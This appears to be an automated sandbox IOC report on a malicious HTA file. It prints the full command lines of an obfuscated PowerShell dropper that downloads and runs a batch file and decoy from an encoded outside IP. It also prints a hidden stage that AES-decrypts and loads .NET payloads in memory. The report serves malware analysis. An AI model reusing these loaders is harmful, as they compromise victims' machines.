IOC Report
hta.hta

hta.hta

HTML document, ASCII text, with very long lines (12144), with CRLF line terminators

initial sample

C:\Users\user\AppData\Roaming\GoGi.bat

DOS batch file, ASCII text, with very long lines (51202), with CRLF line terminators

dropped

C:\Windows\SysWOW64\mshta.exe

mshta.exe "C:\Users\user\Desktop\hta.hta"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function zyfTBcnYzprd($pHHdIofq, $hQvuJry){[IO.File]::WriteAllBytes($pHHdIofq, $hQvuJry)};function RsNIEjCO($pHHdIofq){if($pHHdIofq.EndsWith((ySHQDZBWwySzRGIG @(61274,61328,61336,61336))) -eq $True){rundll32.exe $pHHdIofq }elseif($pHHdIofq.EndsWith((ySHQDZBWwySzRGIG @(61274,61340,61343,61277))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $pHHdIofq}elseif($pHHdIofq.EndsWith((ySHQDZBWwySzRGIG @(61274,61337,61343,61333))) -eq $True){misexec /qn /i $pHHdIofq}else{Start-Process $pHHdIofq}};function ZWufiDkKJd($WfmgmuntIKBYcRft){$ywqrhKjGiioXguh = New-Object (ySHQDZBWwySzRGIG @(61306,61329,61344,61274,61315,61329,61326,61295,61336,61333,61329,61338,61344));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$hQvuJry = $ywqrhKjGiioXguh.DownloadData($WfmgmuntIKBYcRft);return $hQvuJry};function ySHQDZBWwySzRGIG($xGZDVkPMYLYy){$yFBtdzpE=61228;$oUSwLv=$Null;foreach($fxEGQMN in $xGZDVkPMYLYy){$oUSwLv+=[char]($fxEGQMN-$yFBtdzpE)};return $oUSwLv};function dDSCNJIjjRgIM(){$lBhpKXrqsdodra = $env:AppData + '\';$RtGcEcBBqYud = $lBhpKXrqsdodra + 'jiteon.xlsx';If(Test-Path -Path $RtGcEcBBqYud){Invoke-Item $RtGcEcBBqYud;}Else{ $hKUnbCqsPbBsWBpNkbF = ZWufiDkKJd (ySHQDZBWwySzRGIG @(61332,61344,61344,61340,61286,61275,61275,61277,61285,61279,61274,61278,61278,61278,61274,61285,61282,61274,61277,61277,61280,61286,61283,61278,61284,61283,61275,61334,61333,61344,61329,61339,61338,61274,61348,61336,61343,61348));zyfTBcnYzprd $RtGcEcBBqYud $hKUnbCqsPbBsWBpNkbF;Invoke-Item $RtGcEcBBqYud;};$gzgwwTbWpZOp = $lBhpKXrqsdodra + 'GoGi.bat'; if (Test-Path -Path $gzgwwTbWpZOp){RsNIEjCO $gzgwwTbWpZOp;}Else{ $VgJdQKaf = ZWufiDkKJd (ySHQDZBWwySzRGIG @(61332,61344,61344,61340,61286,61275,61275,61277,61285,61279,61274,61278,61278,61278,61274,61285,61282,61274,61277,61277,61280,61286,61283,61278,61284,61283,61275,61299,61339,61299,61333,61274,61326,61325,61344));zyfTBcnYzprd $gzgwwTbWpZOp $VgJdQKaf;RsNIEjCO $gzgwwTbWpZOp;};;;;}dDSCNJIjjRgIM;

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\GoGi.bat" "

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\GoGi.bat"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\AppData\Roaming\GoGi.bat';$gPQY='CmYpnhamYpnnmYpngmYpnemYpnEmYpnxtmYpnenmYpnsmYpniomYpnnmYpn'.Replace('mYpn', ''),'LoaUtEPdUtEP'.Replace('UtEP', ''),'MaiCYgQnMCYgQodCYgQuleCYgQ'.Replace('CYgQ', ''),'SprHTnlitrHTn'.Replace('rHTn', ''),'TrrzhRarzhRnsfrzhRorrzhRmFrzhRirzhRnarzhRlBlrzhRorzhRckrzhR'.Replace('rzhR', ''),'GetuUbXCuUbXuuUbXruUbXreuUbXntuUbXPuUbXrouUbXcuUbXesuUbXsuUbX'.Replace('uUbX', ''),'FrFEdOomBFEdOasFEdOe64FEdOStrFEdOiFEdOngFEdO'.Replace('FEdO', ''),'ReanclddLncldinencldsncld'.Replace('ncld', ''),'DjPqYejPqYcojPqYmpjPqYrejPqYssjPqY'.Replace('jPqY', ''),'IPIJhnvPIJhokPIJhePIJh'.Replace('PIJh', ''),'CopZKPiyTZKPioZKPi'.Replace('ZKPi', ''),'ElIXGDeIXGDmIXGDenIXGDtAIXGDtIXGD'.Replace('IXGD', ''),'CruXrmeuXrmatuXrmeDeuXrmcryuXrmptuXrmoruXrm'.Replace('uXrm', ''),'EJuQRntJuQRrJuQRyPJuQRoinJuQRtJuQR'.Replace('JuQR', '');powershell -w hidden;function oukWk($hMAdX){$uBEEb=[System.Security.Cryptography.Aes]::Create();$uBEEb.Mode=[System.Security.Cryptography.CipherMode]::CBC;$uBEEb.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$uBEEb.Key=[System.Convert]::($gPQY[6])('TGdOerQan8DiYOIpc1W3E6Uf7wMJSi91JjPhdKuCB3Q=');$uBEEb.IV=[System.Convert]::($gPQY[6])('CruLH9j6aex2cpz0fozZ+w==');$XBRRE=$uBEEb.($gPQY[12])();$gomww=$XBRRE.($gPQY[4])($hMAdX,0,$hMAdX.Length);$XBRRE.Dispose();$uBEEb.Dispose();$gomww;}function SIliJ($hMAdX){$nQeHe=New-Object System.IO.MemoryStream(,$hMAdX);$EvPMN=New-Object System.IO.MemoryStream;$uxdRy=New-Object System.IO.Compression.GZipStream($nQeHe,[IO.Compression.CompressionMode]::($gPQY[8]));$uxdRy.($gPQY[10])($EvPMN);$uxdRy.Dispose();$nQeHe.Dispose();$EvPMN.Dispose();$EvPMN.ToArray();}$WrkBk=[System.IO.File]::($gPQY[7])([Console]::Title);$dItwN=SIliJ (oukWk ([Convert]::($gPQY[6])([System.Linq.Enumerable]::($gPQY[11])($WrkBk, 5).Substring(2))));$Yylgf=SIliJ (oukWk ([Convert]::($gPQY[6])([System.Linq.Enumerable]::($gPQY[11])($WrkBk, 6).Substring(2))));[System.Reflection.Assembly]::($gPQY[1])([byte[]]$Yylgf).($gPQY[13]).($gPQY[9])($null,$null);[System.Reflection.Assembly]::($gPQY[1])([byte[]]$dItwN).($gPQY[13]).($gPQY[9])($null,$null); "

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

http://pesterbdd.com/images/Pester.png

unknown